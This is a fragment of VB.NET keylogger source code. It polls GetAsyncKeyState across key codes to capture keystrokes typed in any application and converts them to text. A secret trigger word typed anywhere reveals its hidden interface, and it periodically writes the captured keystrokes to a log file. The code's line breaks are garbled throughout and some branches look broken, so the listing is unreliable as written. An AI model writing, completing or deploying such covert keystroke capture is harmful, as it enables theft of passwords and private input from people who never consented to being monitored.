|
For i = 8 To 190
Dim result As
Integer = 0
' Gets the keystate of the current key.
result = GetAsyncKeyState(i)
' When a keydown event is detected (result = -32767)
If result = -32767
Then
Temp = Chr(i)
If i = 8
Then
If
Not TxtBTest.Text.Length = 0 Then
TxtBTest.Text = TxtBTest.Text.Remove(TxtBTest.Text.Length
- 1, 1)
End
If
Temp = Nothing
ElseIf i > 95
And i < 106 Then
' Test to see if i is an Asii Number
Temp = Chr(i - 48)
TxtBTest.Text = TxtBTest.Text + Temp
ElseIf Chr(i) =
"_" Then ' remove
strange character
Temp = Nothing
TxtBTest.Text = TxtBTest.Text + Temp
ElseIf i = 189
AndAlso My.Computer.Keyboard.ShiftKeyDown
Then ' Tests for "_"
TxtBTest.Text = TxtBTest.Text +
"_"
ElseIf Chr(i) = Chr(189) Then
TxtBTest.Text = TxtBTest.Text +
"-"
ElseIf i > 128
Then
Temp = CType(ConvertPunc(i),
Char) ' Converts punctuation
from Ascii code
TxtBTest.Text = TxtBTest.Text + Temp
ElseIf
My.Computer.Keyboard.CapsLock Then
TxtBTest.Text = TxtBTest.Text + Temp
ElseIf Chr(i) = Chr(16) Then
Temp = Nothing
ElseIf
My.Computer.Keyboard.ShiftKeyDown Then
' Converts keyboard event
Temp = ConvertChar(Temp)
TxtBTest.Text = TxtBTest.Text + Temp
ElseIf Chr(i) = Chr(9) Then
SpChar = "[Tab]"
TxtBTest.Text = TxtBTest.Text
ElseIf
Not Char.IsUpper(Temp)
And Not Temp =
" " And Not
Char.IsNumber(Temp) Then
SpChar = SpecialKeyConvert(Temp)
If
Not SpChar = Nothing
Then
TxtBTest.Text = TxtBTest.Text
End
If
ElseIf Chr(i) = Chr(13) Then ' Adds return carriage
TxtBTest.Text = TxtBTest.Text + Environment.NewLine
Else
Temp = Char.ToLower(Temp)
DoReplaceNum(Temp)
TxtBTest.Text = TxtBTest.Text + Temp
End
If
' you can set your own password to show
the interface currently is you type
' showinterce337 into any application
while the app is running,
' the interface will show up.
If TxtBTest.Text.Contains("showinterface337") Then
ShowInterface()
End
If
' Below, when the Log gets to be over 128 we write it to the text file
'that we have
selected from before.
If TxtBTest.Text.Length > 128 Or
Chr(i) = Chr(13) Then
WriteHtmlLine(TxtBTest.Text, 0)
End
If
End If
Next
|